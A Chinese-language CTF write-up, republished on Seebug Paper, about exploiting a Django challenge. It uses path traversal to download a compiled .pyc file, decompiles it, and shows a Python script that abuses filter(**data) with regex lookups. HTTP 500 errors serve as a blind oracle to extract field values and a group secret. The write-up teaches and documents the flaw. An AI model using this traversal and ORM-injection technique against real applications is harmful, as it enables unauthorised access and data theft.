Author:l3m0n

頁面中有一個js:http://54.223.46.206:8003/static/js/login.js 發現是能夠進行文件讀取的 (具體見:http://wooyun.jozxing.cc/static/drops/papers-5040.html ),但是對conf、py等后綴做了限制。

通過http的返回頭也知道一些信息:Server:gunicorn/19.6.0 Django/1.10.3 CPython/3.5.2

python3.x預編譯文件會產生pyc 為了提高模塊加載的速度,每個模塊都會在__pycache__文件夾中放置該模塊的預編譯模塊,命名為module.version.pyc,version是模塊的預編譯版本編碼,一般都包含Python的版本號。例如在CPython 發行版3.4中,fibo.py文件的預編譯文件就是:__pycache__/fibo.cpython-34.pyc

一個Django的一開始的配置文件:

所以可以先從這幾個文件下手。

另外還有view.py和model.py

下載pyc文件

wget 54.223.46.206:8003/static/%2e%2e/__pycache__/views.cpython-35.pyc

用uncompyle6反編譯pyc成py

urls.py

from django.conf.urls import url
from . import views
urlpatterns = [
 url('^$', views.IndexView.as_view(), name='index'),
 url('^login/$', views.LoginView.as_view(), name='login'),
 url('^logout/$', views.LogoutView.as_view(), name='logout'),
 url('^static/(?P<path>.*)', views.StaticFilesView.as_view(), name='static')]

model.py

from django.db import models

class Student(models.Model):
    name = models.CharField('', max_length=64, unique=True)
    no = models.CharField('', max_length=12, unique=True)
    passkey = models.CharField('', max_length=32)
    group = models.ForeignKey('Group', verbose_name='', on_delete=models.CASCADE, null=True, blank=True)

    class Meta:
        verbose_name = ''
        verbose_name_plural = verbose_name

    def __str__(self):
        return self.name

class Group(models.Model):
    name = models.CharField('', max_length=64)
    information = models.TextField('')
    secret = models.CharField('', max_length=128)
    created_time = models.DateTimeField('', auto_now_add=True)

    class Meta:
        verbose_name = ''
        verbose_name_plural = verbose_name

    def __str__(self):
        return self.name

view.py

import json
import os
from wsgiref.util import FileWrapper
from django.shortcuts import render, redirect
from django.urls import reverse_lazy
from django.views import generic
from django.http import JsonResponse
from django.core import exceptions
from django.http import HttpResponse, Http404
from django.conf import settings
from django.db.models import F
from . import models

class RequireLoginMixin(object):
    login_url = reverse_lazy('students:login')

    def handle_no_permission(self):
        return redirect(self.login_url)

    def dispatch(self, request, *args, **kwargs):
        if request.session.get('is_login', None) != True:
            return self.handle_no_permission()
        return super(RequireLoginMixin, self).dispatch(request, *args, **kwargs)

class JsonResponseMixin(object):

    def _jsondata(self, msg, status_code=200):
        return JsonResponse({'message': msg}, status=status_code)

class LoginView(JsonResponseMixin, generic.TemplateView):
    template_name = 'login.html'

    def post(self, request, *args, **kwargs):
        data = json.loads(request.body.decode())
        stu = models.Student.objects.filter(**data).first()
        if not stu or stu.passkey != data['passkey']:
            return self._jsondata('', 403)
        else:
            request.session['is_login'] = True
            return self._jsondata('', 200)

class LogoutView(RequireLoginMixin, JsonResponseMixin, generic.RedirectView):
    url = reverse_lazy('students:login')

    def get(self, request, *args, **kwargs):
        request.session.flush()
        return super(LogoutView, self).get(request, *args, **kwargs)

class IndexView(RequireLoginMixin, JsonResponseMixin, generic.TemplateView):
    template_name = 'index.html'

    def post(self, request, *args, **kwargs):
        ret = []
        for group in models.Group.objects.all():
            ret.append(dict(name=group.name, information=group.information, created_time=group.created_time, members=list(group.student_set.values('name', 'id').all())))

        return self._jsondata(ret, status_code=200)

class StaticFilesView(generic.View):
    content_type = 'text/plain'

    def get(self, request, *args, **kwargs):
        filename = self.kwargs['path']
        filename = os.path.join(settings.BASE_DIR, 'students', 'static', filename)
        name, ext = os.path.splitext(filename)
        if ext in ('.py', '.conf', '.sqlite3', '.yml'):
            raise exceptions.PermissionDenied('Permission deny')
            try:
                return HttpResponse(FileWrapper(open(filename, 'rb'), 8192), content_type=self.content_type)
            except BaseException as e:
                raise Http404('Static file not found')

其中在loginView里面有個關鍵的地方就是

data = json.loads(request.body.decode())
stu = models.Student.objects.filter(**data).first()
if not stu or stu.passkey != data['passkey']:

看下官方文檔:

filter是接收關鍵字變量參數(字典類型),**kwargs

其中filter是作為條件語句使用的,類似where,里面的參數相當于條件,多條件的時候是以and連接。這也表示where后面的條件我們是可控的。于是可以形成注入。

看下filter中的操作關鍵字

operators = {
        'exact': '= %s',
        'iexact': 'LIKE %s',
        'contains': 'LIKE BINARY %s',
        'icontains': 'LIKE %s',
        'regex': 'REGEXP BINARY %s',
        'iregex': 'REGEXP %s',
        'gt': '> %s',
        'gte': '>= %s',
        'lt': '< %s',
        'lte': '<= %s',
        'startswith': 'LIKE BINARY %s',
        'endswith': 'LIKE BINARY %s',
        'istartswith': 'LIKE %s',
        'iendswith': 'LIKE %s',
    }

比如startswith,

        if not stu or stu.passkey != data['passkey']:
            return self._jsondata('', 403)
        else:
            request.session['is_login'] = True
            return self._jsondata('', 200)

filter查詢有結果,但是沒有data['passkey']這個值傳入的話,python會報500的錯誤。

exp:

import requests
import  json

url = "http://54.223.46.206:8003/login/"

headers = {"Content-Type": "application/x-www-form-urlencoded"}
payload = "abcdefghijklmnopqrstuvwxyz0123456789:"
current_data = ""

def check(current_data):
    temp = current_data
    for p in payload:
        temp += p
        data = "^%s.*" % temp
        post_data = "%s" %  json.dumps({"name__regex": data})
        r = requests.post(url,data=post_data,headers = headers)
        if r.status_code == 500:
            return p
        temp = current_data

for k in range(80):
    current_data += check(current_data)
    print "%dth data: %s" % (k,current_data)

在model.py中還有一個Group表,Student的外鍵就是它。 所以可以通過外鍵查詢group的secret。group__secret__regex最后get flag。


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/137/